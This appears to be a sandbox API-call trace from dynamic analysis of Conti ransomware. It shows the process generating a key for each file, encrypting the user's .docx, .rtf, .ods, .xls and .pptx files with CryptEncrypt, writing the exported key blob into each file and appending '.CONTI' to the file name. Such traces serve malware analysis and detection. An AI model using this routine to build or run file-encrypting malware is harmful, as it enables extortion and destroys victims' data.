	[0139.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\9trmlpong-7tvyw1v.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.004] GetLastError () returned 0x0
	[0139.004] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=99569) returned 1
	[0139.004] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x184f1
	[0139.005] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.005] SetEndOfFile (hFile=0x424) returned 1
	[0139.005] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.005] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.005] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f054*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f054*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.009] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.009] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x184f1, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x184f1, lpOverlapped=0x0) returned 1
	[0139.010] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x184f1, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x18500) returned 1
	[0139.010] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.010] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x18500, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x18500, lpOverlapped=0x0) returned 1
	[0139.010] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.010] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f048*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.010] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.010] CloseHandle (hObject=0x424) returned 1
	[0139.010] GetProcessHeap () returned 0x1720000
	[0139.010] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.011] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx"
	[0139.011] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx.CONTI"
	[0139.011] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\9trmlpong-7tvyw1v.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\9trmlpong-7tvyw1v.docx.conti")) returned 1
	[0139.012] GetProcessHeap () returned 0x1720000
	[0139.012] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.012] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0139.012] GetProcessHeap () returned 0x1720000
	[0139.012] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a840 | out: hHeap=0x1720000) returned 1
	[0139.012] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.012] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4dbc8 | out: phKey=0x6b4dbc8*=0x6b7f1b8) returned 1
	[0139.012] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4dbcc, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4dbcc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.013] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\adr6enyc.rtf")) returned 0x20
	[0139.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\adr6enyc.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.013] GetLastError () returned 0x0
	[0139.013] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=14656) returned 1
	[0139.013] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3940
	[0139.013] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.013] SetEndOfFile (hFile=0x424) returned 1
	[0139.014] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.014] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.014] WriteFile (in: hFile=0x424, lpBuffer=0x6b4dbcc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbcc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.015] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.015] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x3940, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x3940, lpOverlapped=0x0) returned 1
	[0139.016] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3940, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3950) returned 1
	[0139.016] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.016] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x3950, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x3950, lpOverlapped=0x0) returned 1
	[0139.016] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.016] WriteFile (in: hFile=0x424, lpBuffer=0x6b4dbc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbc0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.016] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.016] CloseHandle (hObject=0x424) returned 1
	[0139.016] GetProcessHeap () returned 0x1720000
	[0139.016] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.016] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf"
	[0139.016] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf.CONTI"
	[0139.016] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\adr6enyc.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\adr6EnyC.rtf.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\adr6enyc.rtf.conti")) returned 1
	[0139.017] GetProcessHeap () returned 0x1720000
	[0139.017] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.017] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0139.017] GetProcessHeap () returned 0x1720000
	[0139.017] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deb50 | out: hHeap=0x1720000) returned 1
	[0139.017] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.017] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f298 | out: phKey=0x6b4f298*=0x6b7f1b8) returned 1
	[0139.017] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f29c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4f29c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.018] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\bbms2srl6llchhmhpbvq.ods")) returned 0x20
	[0139.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\bbms2srl6llchhmhpbvq.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.018] GetLastError () returned 0x0
	[0139.019] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=74641) returned 1
	[0139.019] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12391
	[0139.019] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.019] SetEndOfFile (hFile=0x424) returned 1
	[0139.019] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.019] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.019] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f29c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f29c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.020] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.021] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x12391, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x12391, lpOverlapped=0x0) returned 1
	[0139.021] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x12391, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x123a0) returned 1
	[0139.021] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.021] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x123a0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x123a0, lpOverlapped=0x0) returned 1
	[0139.022] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.022] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f290*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f290*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.022] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.022] CloseHandle (hObject=0x424) returned 1
	[0139.022] GetProcessHeap () returned 0x1720000
	[0139.022] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.022] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods"
	[0139.022] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods.CONTI"
	[0139.022] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\bbms2srl6llchhmhpbvq.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\bbMs2SRl6LlcHhmhPbvq.ods.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\bbms2srl6llchhmhpbvq.ods.conti")) returned 1
	[0139.023] GetProcessHeap () returned 0x1720000
	[0139.023] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.023] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0139.023] GetProcessHeap () returned 0x1720000
	[0139.023] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bf90 | out: hHeap=0x1720000) returned 1
	[0139.023] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.023] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b50df8 | out: phKey=0x6b50df8*=0x6b7f378) returned 1
	[0139.023] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50dfc, pdwDataLen=0x4d3fec4 | out: pbData=0x6b50dfc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.024] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\ygrml\\ujxgbki.xls")) returned 0x20
	[0139.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\ygrml\\ujxgbki.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.024] GetLastError () returned 0x0
	[0139.025] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=67385) returned 1
	[0139.025] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10739
	[0139.025] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.025] SetEndOfFile (hFile=0x424) returned 1
	[0139.025] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.025] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.025] WriteFile (in: hFile=0x424, lpBuffer=0x6b50dfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b50dfc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.026] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.026] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x10739, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x10739, lpOverlapped=0x0) returned 1
	[0139.027] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x10739, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x10740) returned 1
	[0139.027] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.027] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x10740, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x10740, lpOverlapped=0x0) returned 1
	[0139.028] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.028] WriteFile (in: hFile=0x424, lpBuffer=0x6b50df0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b50df0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.028] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.028] CloseHandle (hObject=0x424) returned 1
	[0139.028] GetProcessHeap () returned 0x1720000
	[0139.028] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.028] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls"
	[0139.028] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls.CONTI"
	[0139.028] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\ygrml\\ujxgbki.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\yGrmL\\UJXGbKi.xls.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\ygrml\\ujxgbki.xls.conti")) returned 1
	[0139.029] GetProcessHeap () returned 0x1720000
	[0139.029] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.029] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0139.029] GetProcessHeap () returned 0x1720000
	[0139.029] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4f30 | out: hHeap=0x1720000) returned 1
	[0139.029] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.029] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e978 | out: phKey=0x6b4e978*=0x6b7f378) returned 1
	[0139.029] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e97c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4e97c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.030] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\k09l9lte3jud.pptx")) returned 0x20
	[0139.031] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\k09l9lte3jud.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.031] GetLastError () returned 0x0
	[0139.031] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=61128) returned 1
	[0139.031] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xeec8
	[0139.031] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.031] SetEndOfFile (hFile=0x424) returned 1
	[0139.031] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.031] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.032] WriteFile (in: hFile=0x424, lpBuffer=0x6b4e97c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e97c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.572] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.575] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xeec8, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xeec8, lpOverlapped=0x0) returned 1
	[0139.591] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xeec8, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xeed0) returned 1
	[0139.591] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
